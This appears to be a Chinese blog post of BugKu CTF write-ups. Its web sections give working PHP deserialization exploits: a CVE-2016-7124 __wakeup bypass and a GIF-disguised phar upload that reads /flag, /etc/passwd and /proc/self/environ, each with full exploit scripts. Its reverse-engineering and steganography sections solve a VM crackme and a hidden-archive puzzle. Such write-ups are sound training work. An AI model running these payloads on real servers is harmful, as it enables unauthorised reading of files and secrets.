跳到正文
Crazy0x70 的头像随笔随想
目录

BugKu

Web

序列化迷宫

https://ctf.bugku.com/challenges/detail/id/3099.html

原题

<?php
echo '<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>序列化迷宫 - BugKu CTF</title>
<style>
body { background-color: #0d1117; color: #c9d1d9; font-family: "Courier New", monospace; margin: 0; padding: 20px; }
h1 { color: #58a6ff; text-align: center; border-bottom: 1px solid #30363d; padding-bottom: 10px; }
.hint { color: #8b949e; text-align: center; font-size: 14px; margin-top: 10px; }
.code { background-color: #161b22; border: 1px solid #30363d; border-radius: 6px; padding: 15px; margin-top: 15px; overflow-x: auto; }
</style>
</head>
<body>
<h1>序列化迷宫</h1>
<p class="hint">在序列化的迷宫中找到通往 flag 的出口...</p>
<div class="code">';
highlight_file(__FILE__);
echo ' </div>
</body>
</html>';
class MazeEntry {
public $handler;
public function __wakeup() {
$this->handler = null;
}
public function __destruct() {
$this->handler->process();
}
}
class MazeFilter {
public $target;
public function process() {
$content = $this->target->output;
echo $content;
}
}
class MazeReader {
public $path;
public function __get($key) {
return file_get_contents($this->path);
}
}
if (isset($_GET['data'])) {
$data = $_GET['data'];
// 限制长度防止过大payload
if (strlen($data) > 500) {
die("数据过长");
}
unserialize($data);
}
?>

0x00 题目源码

首页用 highlight_file(__FILE__) 直接给出了源码:

<?php
class MazeEntry {
public $handler;
public function __wakeup() {
$this->handler = null; // "醒来时一切归零"
}
public function __destruct() {
$this->handler->process();
}
}
class MazeFilter {
public $target;
public function process() {
$content = $this->target->output; // 触发 __get
echo $content; // 回显 → 外带通道
}
}
class MazeReader {
public $path;
public function __get($key) {
return file_get_contents($this->path); // 任意文件读取
}
}
if (isset($_GET['data'])) {
$data = $_GET['data'];
if (strlen($data) > 500) {
die("数据过长");
}
unserialize($data);
}
?>

0x01 三座房间:POP 链分析

题目描述的“三座房间”就是三个类,各自提供一个 gadget,串起来就是完整的利用链:

MazeEntry::__destruct() 入口:脚本结束时触发
│ $this->handler->process()
MazeFilter::process() 中继:调用不存在属性
│ $this->target->output (MazeFilter 没有 output 属性 → 触发 __get)
MazeReader::__get('output') 落点:读文件
│ file_get_contents($this->path)
MazeFilter::process() 中 echo $content → 直接回显文件内容

链本身没有悬念,唯一的障碍在入口:

public function __wakeup() {
$this->handler = null; // 反序列化时把 handler 抹成 null
}

__wakeupunserialize() 解析完对象后、__destruct 之前必然执行,链路天然断裂——这就是“醒来时一切归零”。

0x02 “多开一扇门”:CVE-2016-7124

响应头显示 PHP/5.6.24,正好落在 CVE-2016-7124 影响范围内:

影响版本:PHP 5.6.25 之前(以及 7.0.10 之前的 7.x)

原理:当序列化字符串中对象声明的属性个数大于字符串中实际给出的属性个数时,

解析器在属性循环中提前终止,__wakeup 不会被调用,但已完成解析的属性值全部保留。

“多开一扇门”就是把外层对象的属性计数 +1:O:9:"MazeEntry":1:{...} 改成 O:9:"MazeEntry":2:{...}(字符串里仍然只写 1 个属性 handler)。

因此最终链为:

O:9:"MazeEntry":2:{ ← 声明 2 个属性、实际只给 1 个 → 跳过 __wakeup
s:7:"handler";
O:10:"MazeFilter":1:{ ← 正常声明
s:6:"target";
O:10:"MazeReader":1:{ ← 正常声明(注意 MazeReader 是 10 个字符!)
s:4:"path";
s:5:"/flag";
}
}
}

最终 payload(125 字节,远小于 500 限制,URL 编码后直接 GET):

O:9:"MazeEntry":2:{s:7:"handler";O:10:"MazeFilter":1:{s:6:"target";O:10:"MazeReader":1:{s:4:"path";s:5:"/flag";}}}

访问:

http://target.com/?data=<URL编码后的payload>

页面尾部直接回显flag。

0x03 完整 EXP 脚本

脚本自动计算所有长度前缀,并自动尝试常见 flag 路径:

#!/usr/bin/env python3
# exp_序列化迷宫.py
# 用法: python3 exp_序列化迷宫.py [目标URL] [flag路径,可省略]
import re
import sys
import urllib.parse
import urllib.request
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/"
FLAG_PATH = sys.argv[2] if len(sys.argv) > 2 else None
CANDIDATE_PATHS = ["/flag", "/flag.txt", "/flag.php",
"/var/www/html/flag.php", "/etc/passwd"]
def s(x: str) -> str:
"""PHP 序列化字符串,长度自动计算 —— 杜绝手写长度前缀出错"""
return f's:{len(x)}:"{x}";'
def build(path: str) -> str:
"""
POP 链:
MazeEntry::__destruct → $this->handler->process()
MazeFilter::process → $this->target->output (触发 __get)
MazeReader::__get → file_get_contents($this->path)
绕过:
外层 MazeEntry 声明 2 个属性、实际只写 1 个 (CVE-2016-7124)
→ PHP < 5.6.25 / < 7.0.10 跳过 __wakeup,且属性完整保留
"""
reader = f'O:{len("MazeReader")}:"MazeReader":1:{{{s("path")}{s(path)}}}'
flt = f'O:{len("MazeFilter")}:"MazeFilter":1:{{{s("target")}{reader}}}'
# ↑↑ 关键: :2: 但下面只提供 1 个属性
entry = f'O:{len("MazeEntry")}:"MazeEntry":2:{{{s("handler")}{flt}}}'
return entry
def fire(path: str) -> str:
payload = build(path)
assert len(payload) <= 500, "payload 超过题目 500 字符限制"
url = TARGET.rstrip("/") + "/?data=" + urllib.parse.quote(payload)
resp = urllib.request.urlopen(url, timeout=10).read().decode(errors="replace")
return resp.split("</html>", 1)[-1] # 去掉 highlight_file 的高亮源码
def main():
paths = [FLAG_PATH] if FLAG_PATH else CANDIDATE_PATHS
for p in paths:
tail = fire(p)
m = re.search(r"flag\{[^}]*\}", tail)
if m:
print(f"[+] {p} → {m.group(0)}")
return
if "root:x:0:0" in tail:
print(f"[+] {p} → (链路已通, 文件可读, 但不是 flag)")
else:
print(f"[-] {p} → {tail.strip()[:120]!r}")
print("[!] 未匹配到 flag,可手动指定路径: python3 exp_序列化迷宫.py <url> /xxx")
if __name__ == "__main__":
main()

画廊

https://ctf.bugku.com/challenges/detail/id/3093.html

0x00 题目给出的类(POP 链素材)

class Gallery {
public $collection;
public function __destruct() { // 入口:对象销毁时触发
echo $this->collection->getInfo();
}
}
class Collection {
public $items = array();
public function getInfo() { // 中间跳板:调用 items 元素的 name 属性
$info = "";
foreach ($this->items as $item) {
$info .= "<p>作品名称: " . $item->name . "</p>";
}
return $info;
}
}
class Painting {
public $path; // 注意:没有 $name 属性
public function __get($key) { // 末端 gadget:读取任意文件
if (isset($this->$key)) {
return $this->$key; // 若属性存在则直接返回
}
return file_get_contents($this->path); // 属性不存在 → 任意文件读取
}
}

链条分析

  1. Gallery::__destruct:对象被 GC 回收时自动调用,执行 $this->collection->getInfo() —— 把 collection 属性控制为 Collection 实例即可进入下一步。

  2. Collection::getInfo:遍历 items 数组,访问每个元素的 ->name 属性 —— 把 items 控制为 Painting 实例数组。

  3. Painting::__get('name')Painting 类没有定义 name 属性,访问不可访问属性触发 __get 魔术方法;isset($this->name) 为假,走到 file_get_contents($this->path) —— path 完全可控,实现任意文件读取(含协议包装器)。

关键细节:payload 中绝不能给 Painting 设置 name 属性,否则 isset() 返回真直接短路,读不到文件。

序列化结果
O:7:"Gallery":1:{s:10:"collection";O:10:"Collection":1:{s:5:"items";a:1:{i:0;O:8:"Painting":1:{s:4:"path";s:5:"/flag";}}}}

0x01 侦察

访问首页 http://160.202.254.160:17441/,响应头与页面信息:

Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Set-Cookie: PHPSESSID=...; path=/

页面是一个“画廊 - 图片管理系统”,有两个功能:

  1. 上传图片(POST multipart,字段名 image)——提示“仅支持 jpg/jpeg/png/gif 格式,系统会自动验证图片有效性”;

  2. 查看图片详情(GET ?view=路径)——提示“输入图片路径查看详细信息,支持多种协议访问”。

“支持多种协议”是明示 stream wrapper(file://php://phar://data://……)。先传一张 1x1 的最小 GIF 测试上传回显:

printf 'GIF89a\x01\x00\x01\x00\x00\xff\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00\x3b' > /tmp/test.gif
curl -s -F "image=@/tmp/test.gif;type=image/gif" http://160.202.254.160:17441/
# → <p style='color:green'>上传成功!文件: b2cc67248b87bcf4ed3280232a1deabd.gif</p>

文件被重命名为 md5(uniqid()).gif。再探测上传目录:

curl -s "http://.../?view=uploads/b2cc...abd.gif"
# → 路径: uploads/... 尺寸: 1x1 类型: image/gif 大小: 33 bytes

确认上传目录为 uploads/,且 view 接口回显了 getimagesize() 的结果(尺寸/类型/大小)——与题目提示 getimagesize($path) 吻合,说明后端就是拿用户输入直接调 getimagesize

同时测试 ?view=php://filter/convert.base64-encode/resource=index.php 返回“不是有效的图片文件”——getimagesize 无法解析 php://filter 输出的 base64 流,说明 view 接口先过 getimagesize,失败则不读文件内容,所以不能直接用它读源码。

0x02 phar 反序列化

phar 文件结构
+------------------------+
| stub(存根) | ← 必须以 __HALT_COMPILER(); 结尾,之前内容任意
+------------------------+
| manifest(清单) | ← 文件元信息,其中 metadata 是**序列化数据**
+------------------------+
| 文件内容 |
+------------------------+
| signature(签名) |
+------------------------+

核心机制:当任何文件操作函数(流式读取)访问 phar:// 协议 URL 时,PHP 会解析整个 phar 包,并把 manifest 中的 metadata 自动反序列化。也就是说,即使代码里没有一行 unserialize(),也能触发魔术方法。

官方文档明确列出的可触发函数非常多,其中就包括本题提示的:

file_exists() file_get_contents() fopen() filesize() is_file()
is_dir() copy() stat() getimagesize() md5_file() ...

PHP 5.6 对 phar 文件扩展名没有要求——phar://uploads/xxx.gif 照样解析(只要文件内容是合法 phar)。这给了我们“上传一个图片后缀的 phar”的机会。

phar:// 触发流程(本题)
?view=phar://uploads/evil.gif
getimagesize("phar://uploads/evil.gif") ← 流包装器打开 phar
PHP 解析 phar manifest ──► unserialize(metadata) ◄── 我们的 Gallery 链藏在 metadata 里
请求结束时对象销毁 ──► Gallery::__destruct() ──► POP 链执行 ──► flag 输出到响应末尾

0x03 借 POP 链自身读源码(php://filter 套娃)

此时还不知道 flag 文件路径,也不知道后端逻辑细节。好在 Painting->__path 是直接进 file_get_contents 的——stream wrapper 可以嵌套,把 path 设成:

php://filter/convert.base64-encode/resource=index.php

phar 元数据反序列化后,链尾执行的正是 file_get_contents("php://filter/..."),读出的 index.php 源码 base64 会被 Collection::getInfo 拼进 作品名称: 里 echo 出来。

生成 phar(本地 PHP CLI,需 phar.readonly=0
<?php
// gen_phar.php —— 用法: php -d phar.readonly=0 gen_phar.php <目标路径> <输出文件>
$target = $argv[1];
$out = $argv[2];
class Gallery { public $collection; }
class Collection { public $items = array(); }
class Painting { public $path; } // 注意不要定义 $name
@unlink($out);
$p = new Painting();
$p->path = $target;
$c = new Collection();
$c->items = array($p); // 单元素;可放多个批量读
$g = new Gallery();
$g->collection = $c;
$phar = new Phar($out);
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); // ← GIF 头绕过图片校验
$phar->setMetadata($g); // ← POP 链作为 metadata
$phar->addFromString("a.gif", "test");
$phar->stopBuffering(); // 自动计算签名
  • setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"):phar stub 只要求以 __HALT_COMPILER(); 结尾,前面可以塞任意字节。GIF89a 魔术头让上传时的 getimagesize($tmpname) 把它识别成 GIF(getimagesize 对 GIF 只检查文件头签名),同时不影响 phar 解析——一个文件同时是“合法 GIF”和“合法 phar”。

  • metadata 里序列化的对象不需要带方法,目标服务端 unserialize 时会自动绑定到服务端定义的类(方法随类走,属性随 payload 走)。

上传并触发
php -d phar.readonly=0 gen_phar.php \
"php://filter/convert.base64-encode/resource=index.php" /tmp/exp.phar
cp /tmp/exp.phar /tmp/exp.gif
curl -s -F "image=@/tmp/exp.gif;type=image/gif" http://160.202.254.160:17441/
# → 上传成功!文件: 13a0143ec21ceb890686d554138b86f3.gif
curl -s "http://160.202.254.160:17441/?view=phar%3A%2F%2Fuploads%2F13a0143ec21ceb890686d554138b86f3.gif"

响应在 </html> 之后追加了 destructor 输出的 <div class='gallery-info'>...<p>作品名称: PD9waHAK...(index.php 的 base64)...

为什么输出在 HTML 后面?__destruct 在请求生命周期结束时、输出缓冲 flush 前后执行,所以链的执行结果附加在正常页面尾部。

0x04 源码审计

base64 解码得到完整 index.php,关键部分:

if (isset($_GET['view'])) {
$path = $_GET['view'];
// 简单过滤:禁止直接访问 flag 文件
if (preg_match('/flag/i', $path)) {
die("<p style='color:red'>禁止访问flag相关文件</p>");
}
// 漏洞点:getimagesize() 支持 phar:// 协议
$size = @getimagesize($path); // ← phar 反序列化触发点
...
}
// 上传处理
$size = @getimagesize($tmpname); // ← 图片校验(GIF89a 头绕过)
if (!$size) die("错误:仅允许上传图片文件");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (!in_array($ext, ['jpg','jpeg','png','gif'])) die(...);
$newname = md5(uniqid()) . '.' . $ext;
move_uploaded_file($tmpname, "uploads/$newname");
  1. 黑名单形同虚设:preg_match('/flag/i', $path) 只检查 URL 里的 view 参数。我们的 phar URL 是 phar://uploads/<md5>.gif,不含 “flag”;而真正读 /flag 的路径藏在 phar 元数据内部,正则根本看不到。

  2. 上传校验可绕过:getimagesize + 扩展名白名单,双条件都被“GIF89a 头 + .gif 后缀的 phar”满足。

  3. flag 位置未知:源码中没有 flag 路径,需要探测常见路径。

0x05 批量探测 flag 路径

Collection::getInfoforeach 遍历——一个 Collection 里塞多个 Painting,一条 phar 同时读多个文件,失败的路径(文件不存在)返回空串,不影响其他项。

<?php
// gen_multi.php —— 用法: php -d phar.readonly=0 gen_multi.php <输出> <路径1> <路径2> ...
$paths = array_slice($argv, 2);
class Gallery { public $collection; }
class Collection { public $items = array(); }
class Painting { public $path; }
$items = [];
foreach ($paths as $p) { $pt = new Painting(); $pt->path = $p; $items[] = $pt; }
$c = new Collection(); $c->items = $items;
$g = new Gallery(); $g->collection = $c;
$phar = new Phar($argv[1]);
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($g);
$phar->addFromString("a.gif", "test");
$phar->stopBuffering();

探测路径列表:/flag/flag.txt/flag.php./flag.php/var/www/html/flag.php/var/www/flag.txt/proc/self/environ(环境变量藏 flag 的常见位置)、/proc/self/cmdline(验证读取真实性)。

php -d phar.readonly=0 gen_multi.php /tmp/probe.phar \
/flag /flag.txt /flag.php ./flag.php \
/var/www/html/flag.php /var/www/flag.txt \
/proc/self/environ /proc/self/cmdline
cp /tmp/probe.phar /tmp/probe.gif
curl -s -F "image=@/tmp/probe.gif;type=image/gif" http://160.202.254.160:17441/
# → 上传成功!文件: a91f2dea804ce8f0ced43f89b0501eb7.gif
curl -s "http://160.202.254.160:17441/?view=phar%3A%2F%2Fuploads%2Fa91f2dea804ce8f0ced43f89b0501eb7.gif" -o out.html

用脚本从响应尾部提取 painting-info 块:

import re
html = open('out.html').read()
blocks = re.findall(r"<div class='painting-info'>.*?</div>", html, re.S)
paths = ["/flag","/flag.txt","/flag.php","./flag.php",
"/var/www/html/flag.php","/var/www/flag.txt",
"/proc/self/environ","/proc/self/cmdline"]
for p, b in zip(paths, blocks):
print(f"===== {p} =====")
print(re.search(r"作品名称: (.*?)</p>", b, re.S).group(1)[:1500])
输出结果
===== /flag =====
flag{3895bbd6008a86b89d72916fc99c39b1}
===== /flag.txt / flag.php / ... =====
(空,文件不存在)
===== /proc/self/cmdline =====
apache2\x00-DFOREGROUND\x00 ← 证实是真实的服务端文件读取

Flag:flag{3895bbd6008a86b89d72916fc99c39b1}


0x06 完整 EXP

#!/bin/bash
# exp.sh —— 画廊 phar 反序列化 getflag
URL="http://160.202.254.160:17441"
# 1. 生成读 /flag 的 phar(GIF89a 头 + POP 链 metadata)
cat > /tmp/exp_gen.php <<'PHP'
<?php
class Gallery { public $collection; }
class Collection { public $items = array(); }
class Painting { public $path; }
$pt = new Painting(); $pt->path = '/flag';
$c = new Collection(); $c->items = [$pt];
$g = new Gallery(); $g->collection = $c;
$phar = new Phar('/tmp/exp.phar');
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($g);
$phar->addFromString('a.gif', 'test');
$phar->stopBuffering();
PHP
php -d phar.readonly=0 /tmp/exp_gen.php
# 2. 上传(伪 GIF)
NAME=$(curl -s -F "image=@/tmp/exp.phar;filename=exp.gif;type=image/gif" "$URL/" \
| grep -oE '[0-9a-f]{32}\.gif' | head -1)
echo "[+] uploaded: $NAME"
# 3. phar:// 触发反序列化,flag 追加在响应末尾
curl -s "$URL/?view=phar%3A%2F%2Fuploads%2F$NAME" \
| grep -oE '作品名称: [^<]*' | grep -oE 'flag\{[^}]*\}'

Reverse

无声指令 SilentVM

https://ctf.bugku.com/challenges/detail/id/3096.html

0x00 基础信息

$ file SilentVM.exe
PE32+ executable (console) x86-64, for MS Windows
$ strings SilentVM.exe | grep -iE "flag|correct|wrong"
Enter the flag:
Correct!
Wrong!
clang version 22.1.6 (https://github.com/llvm/llvm-project.git ...)
/home/runner/work/llvm-mingw/llvm-mingw ...
  1. 字符串证实了题目描述的行为:提示输入 → “Correct!” / “Wrong!”;

  2. clang + llvm-mingw 编译,未开启混淆,main 很小(~165 条指令);

  3. 节表里有 .debug_info / .debug_line / .debug_str 等 DWARF 调试段(出题人忘了 strip,可以辅助定位变量名与行号)。

0x01 main 函数分析

main 位于 0x140001420。逐段还原后的伪代码:

int main() {
char buf[0x40]; // rbp-0x40
unsigned char regs[8]; // rbp+0 .. rbp+7 ← VM 寄存器组
unsigned char mem[96]; // 0x140006080 ← VM 数据内存
if (IsDebuggerPresent()) return 0; // 反调试(静态分析无影响)
printf("Enter the flag: ");
fflush(stdout);
if (!fgets(buf, 0x40, stdin)) return 0;
int len = strlen(buf);
while (buf[len-1] == '\r' || buf[len-1] == '\n') // 去掉行尾换行
buf[--len+1] = 0; // (严格说先置0再减)
if (len != 0x1f) goto wrong; // 长度必须 31
memset(&mem[0x2f], 0, 0x31); // 清零 mem 后半段
memcpy(&mem[0x00], buf, 31); // 输入 → mem[0..30]
memcpy(&mem[0x20], keytab, 32); // 密钥表 → mem[0x20..0x3f]
memcpy(&mem[0x40], ct, 32); // 密文 → mem[0x40..0x5f]
memset(regs, 0, 8); // 寄存器清零
int pc = 0;
rcx = "Wrong!"; // puts 参数默认指向 Wrong!
... // VM 主循环(见下)
}
  • 内存布局是理解 VM 的钥匙:
mem[0x60](.data @ 0x140006080)
┌──────────────────────────┬──────────────────────────┬──────────────────────────┐
│ mem[0x00 .. 0x1e] │ mem[0x20 .. 0x3f] │ mem[0x40 .. 0x5f] │
│ 输入 31 字节 │ keytab 32 字节 │ ct 密文 32 字节 │
└──────────────────────────┴──────────────────────────┴──────────────────────────┘
  • “Wrong!” 的编译器优化:lea rcx, "Wrong!" 在进入 VM 循环前执行一次并一直保留,只有 regs[7]==1 时才被换成 lea rcx, "Correct!",最后统一 puts(rcx)。逆向时如果只看末尾的 call puts 会找不到 “Wrong!” 的来源。

  • 关键数据地址(均在 .rdata,VMA 0x140003000 起):

VM 分发器(Dispatcher)

0x140001590 处是典型的 fetch-decode-execute:

140001590: movslq %r10d, %r11 ; r11 = pc
140001593: movzbl (%r11,%rax), %esi ; op = prog[pc] (rax = prog 基址)
140001598: decl %esi ; op -= 1
14000159a: cmpl $0xb, %esi
14000159d: ja wrong ; op-1 > 11 → 非法操作码,退出
1400015a3: movslq (%rdx,%rsi,4), %rsi ; off = (int32)table[op-1] (rdx = 0x1400030a0)
1400015a7: addq %rdx, %rsi
1400015aa: jmpq *%rsi ; 跳转表分发

操作码从 0x01 开始(先 dec 再查表),表项是相对表基址的 32 位有符号偏移。用 pefile 解出 12 个表项得到操作码 → handler 的映射。

0x02 指令集还原

每个 handler 末尾跳回 0x140001590(fetch 下一条)。寄存器约定:%rbp = regs 基址,%r8 = mem 基址,%r10d = pc,%r9b = flag。

以 ADD(0x140001604)为例展示分析方法,其余同理:

140001604: movzbl 0x1(%r11,%rax), %esi ; dst = prog[pc+1]
14000160a: leal 0x3(%r11), %r10d ; pc += 3 → 指令长度 3 字节
14000160e: movzbl 0x2(%r11,%rax), %r11d ; src = prog[pc+2]
140001614: movzbl (%rbp,%r11), %r11d ; r11 = regs[src]
14000161a: addb %r11b, (%rbp,%rsi) ; regs[dst] += regs[src]
14000161f: jmp fetch

完整指令集(由跳转表 + handler 分析还原):

  1. LOADKEY / LOADCT 是“带基地址”的加载:操作数里的寄存器值先加上 0x200x40 再索引 mem——等价于“取 keytab[i]“和”取 ct[i]“;

  2. rel8 是有符号字节(movsbl),跳转目标 = pc + 2 + rel

  3. JZ/JNZ 对 flag 有副作用:JZ 不跳时把 flag 清 0,JNZ 跳时把 flag 置 1——模拟器必须还原这个行为(本题程序恰好没依赖该副作用,但严谨起见照抄)。

0x03 字节码提取与反汇编

用 pefile 从 .rdata 按 VA 提取三块数据:

prog = rd(0x140003130, 74) # VM 字节码
keytab = rd(0x1400030f0, 32) # 密钥表
ct = rd(0x140003110, 32) # 密文
keytab: e8 52 93 11 c4 7a 2f 6b d5 08 9c 3e 61 b7 44 f0 8d 25 ca 5e 19 76 a3 c8 0f b2 64 d9 30 8a 4d 00
ct : b4 51 1e a4 db 2b a3 84 d1 a6 13 89 7a 12 33 ee 18 77 25 5a a6 53 bc e5 7a fb 7e 13 86 d5 5a 00

自写反汇编器(按指令长度表逐条切分)输出:

=== 初始化 ===
0: MOVI r3, 0x00 ; i = 0
3: MOVI r4, 0x01 ; 常数 1
6: MOVI r6, 0x2a ; 常数 42
9: MOVI r7, 0x00 ; 成功标志 = 0
12: MOVI r5, 0xff ; (干扰指令)
15: XOR r5, r5 ; r5 = 0(干扰指令)
18: MOVI r2, 0x1f ; 循环上界 31
=== 循环 1:变换(i = 0..30)===
21: LOADM r0, r3 ; r0 = mem[i] = input[i]
24: LOADKEY r5, r3 ; r5 = mem[0x20 + i] = keytab[i]
27: XOR r0, r5 ; r0 ^= keytab[i]
30: ADD r0, r6 ; r0 += 42
33: STORE (r3), r0 ; mem[i] = r0 = 变换结果
36: ADD r3, r4 ; i++
39: CMP r3, r2 ; i == 31 ?
42: JZ -> 21 ; i != 31 则继续循环
=== 循环 2:校验(i = 0..30)===
44: MOVI r3, 0x00 ; i = 0
47: LOADM r0, r3 ; r0 = mem[i] (变换后)
50: LOADCT r1, r3 ; r1 = mem[0x40 + i] = ct[i]
53: CMP r0, r1 ; 相等?
56: JZ -> 69 ; 不相等(flag==0) → 直接跳 HALT,r7 仍为 0 → "Wrong!"
58: ADD r3, r4 ; i++
61: CMP r3, r2 ; i == 31 ?
64: JZ -> 47 ; i != 31 继续比较
66: MOVI r7, 0x01 ; 31 字节全部匹配 → r7 = 1
69: HALT ; r7==1 → "Correct!",否则 "Wrong!"
70: MOVI r7, 0x00 ; (另一条失败路径)
73: HALT

自洽性校验:所有 JZ 跳转目标(21、47、69)都精确落在指令边界上,74 字节无残留、无非法操作码——证明指令集还原正确。

循环 2 的 JZ -> 69 容易看反:JZ 是 flag==0 时跳转,而 CMP 在相等时置 flag=1,所以“跳到 HALT”对应的恰恰是不相等(校验失败)。任何一个字节不匹配都立即带着 r7=0 去 HALT 输出 “Wrong!”。

0x04 算法分析与逆推

循环 1 给出的变换等式(对所有 0 ≤ i < 31):

mem[i] = ((input[i] XOR keytab[i]) + 42) mod 256

循环 2 要求 mem[i] == ct[i],因此:

(input[i] XOR keytab[i]) + 42 ≡ ct[i] (mod 256)
⇒ input[i] = ((ct[i] - 42) mod 256) XOR keytab[i]

XOR 与 mod 256 加法均可逐字节独立求逆,无需爆破:

flag = bytes(((ct[i] - 42) & 0xff) ^ keytab[i] for i in range(31))
# b'bugku{V1rtua1_M4ch1ne_1s_c00l!}'

0x05 完整 EXP

python

#!/usr/bin/env python3
# exp_silentvm.py —— 依赖: pip install pefile
import struct, pefile
pe = pefile.PE('SilentVM.exe')
base = pe.OPTIONAL_HEADER.ImageBase
for s in pe.sections:
if s.Name.decode().startswith('.rdata'):
rd_off = base + s.VirtualAddress
rdata = s.get_data()
rd = lambda va, n: rdata[va - rd_off : va - rd_off + n]
prog = rd(0x140003130, 74) # VM 字节码
keytab = rd(0x1400030f0, 32) # 密钥表
ct = rd(0x140003110, 32) # 密文
# ---- 指令集(从 12 个 handler 静态分析还原)----
LEN = {1:3, 2:3, 3:3, 4:3, 5:3, 6:3, 7:2, 8:2, 9:1, 0xa:3, 0xb:3, 0xc:2}
NAME = {1:'MOVI',2:'XOR',3:'ADD',4:'LOADM',5:'STORE',6:'CMP',7:'JZ',
8:'JMP',9:'HALT',0xa:'LOADKEY',0xb:'LOADCT',0xc:'JNZ'}
# ---- 模拟器 ----
def run(inp):
mem = bytearray(96)
mem[0:31], mem[0x20:0x40], mem[0x40:0x60] = inp, keytab, ct
regs, pc, flag = bytearray(16), 0, False
for _ in range(100000):
op = prog[pc]
if op == 1: regs[prog[pc+1]] = prog[pc+2]; pc += 3
elif op == 2: regs[prog[pc+1]] ^= regs[prog[pc+2]]; pc += 3
elif op == 3: regs[prog[pc+1]] = (regs[prog[pc+1]] + regs[prog[pc+2]]) & 0xff; pc += 3
elif op == 4: regs[prog[pc+1]] = mem[regs[prog[pc+2]]]; pc += 3
elif op == 5: mem[regs[prog[pc+1]]] = regs[prog[pc+2]]; pc += 3
elif op == 6: flag = regs[prog[pc+1]] == regs[prog[pc+2]]; pc += 3
elif op == 7:
rel = struct.unpack('b', prog[pc+1:pc+2])[0]
if flag == 0: pc += 2 + rel
else: flag = False; pc += 2
elif op == 8: pc += 2 + struct.unpack('b', prog[pc+1:pc+2])[0]
elif op == 9: return regs[7] == 1 # HALT
elif op == 0xa: regs[prog[pc+1]] = mem[0x20 + regs[prog[pc+2]]]; pc += 3
elif op == 0xb: regs[prog[pc+1]] = mem[0x40 + regs[prog[pc+2]]]; pc += 3
elif op == 0xc:
rel = struct.unpack('b', prog[pc+1:pc+2])[0]
if flag != 0: flag = True; pc += 2 + rel
else: flag = False; pc += 2
else: return False
return False
# ---- 逆推: mem[i] = ((in[i]^key[i])+42)&0xff == ct[i] ----
flag = bytes(((ct[i] - 42) & 0xff) ^ keytab[i] for i in range(31))
print('flag :', flag.decode())
print('VM verify (should be Correct):', run(flag))
print('negative (A*31, should be Wrong):', run(b'A'*31))

MISC

十二音阶

https://ctf.bugku.com/challenges/detail/id/3100.html

0x01 海报的「尾巴」

提示“海报的尾巴比正面更长”指向文件尾部附加数据。在 JPEG 的 FFD9 结束符之后找到:

\nTheFollowingIsA7zArchive\n
7z BC AF 27 1C 00 04 ...

共 586 字节的 7z 归档(头部长度 32 + 数据区 512 + 编码头 42 = 586,结构自洽)。用7z t测试提示需要密码,且头部也是加密的(无法列出文件名)。

raw = open('poster.jpg','rb').read()
i = raw.find(b'TheFollowingIsA7zArchive\n')
open('tail.7z','wb').write(raw[i+len(b'TheFollowingIsA7zArchive\n'):])

同时从海报正面读出关键文字:校训「明德至善·博学笃行」、以及“十二学院·十二乐章·一封信”。

0x02 口令推导(镜子 + 13 度)

题目说“口令藏在校训里,但镜子把它折了 13 度”:

  • 口令藏在校训里 → 取校训拼音首字母:明德至善·博学笃行 → MDZSBXDX(注意不是全拼,全拼的各种变体都试不通)

  • 镜子把它折了 13 度 → 把字母表对折移 13 位 = ROT13

mdzsbxdx --ROT13--> zqmfokqk
7z x -p'zqmfokqk' tail.7z # 解出 12 个碎片 frag01 ~ frag12

0x03 广播的十二个音符

broadcast.wav 能量包络显示恰好 12 段、每段 1.2 秒的纯音,间隔 0.4 秒。对每段做 FFT 取主频:

段序号 频率 音符 段序号 频率 音符
0 523.3 C5 6 698.3 F5
1 586.7 D5 7 659.2 E5
2 440.0 A4 8 554.2 C#5
3 621.7 D#5 9 494.2 B4
4 465.8 A#4 10 415.0 G#4
5 740.0 F#5 11 391.7 G4

正好是 G4 ~ F#5 一个八度内的完整半音阶(十二音阶),每个音恰好出现一次。

“按音高排序”:把每段对应的碎片(段 i ↔ frag(i+1))按音高从低到高排列:

G4 → G#4 → A4 → A#4 → B4 → C5 → C#5 → D5 → D#5 → E5 → F5 → F#5
f12 f11 f03 f05 f10 f01 f09 f02 f04 f08 f07 f06

0x04 碎片重组与解码

各碎片内容(frag12 长 6 字符,其余各 3 字符,共 39 字符):

frag01:XFA frag02:KQ4 frag03:VND frag04:HEW frag05:E5S frag06:M5I
frag07:NCD frag08:JVO frag09:M3X frag10:CG5 frag11:JZN frag12:LA2GWU

按音高升序拼接:

LA2GWU + JZN + VND + E5S + CG5 + XFA + M3X + KQ4 + HEW + JVO + NCD + M5I
= LA2GWUJZNVNDE5SCG5XFAM3XKQ4HEWJVONCDM5I

39 个字符全部落在 Base32 字符集(A-Z、2-7,无 0/1/8/9) 内——这是 Base32 的强特征。补齐 padding 解码:

import base64
base64.b32decode("LA2GWUJZNVNDE5SCG5XFAM3XKQ4HEWJVONCDM5I" + "=")
# b'X4kQ9mZ2vB7nP3wT8rY5sD6u'

得到 24 字符的可读密文串:X4kQ9mZ2vB7nP3wT8rY5sD6u(即海报所说的“一封信”)。

flag{X4kQ9mZ2vB7nP3wT8rY5sD6u}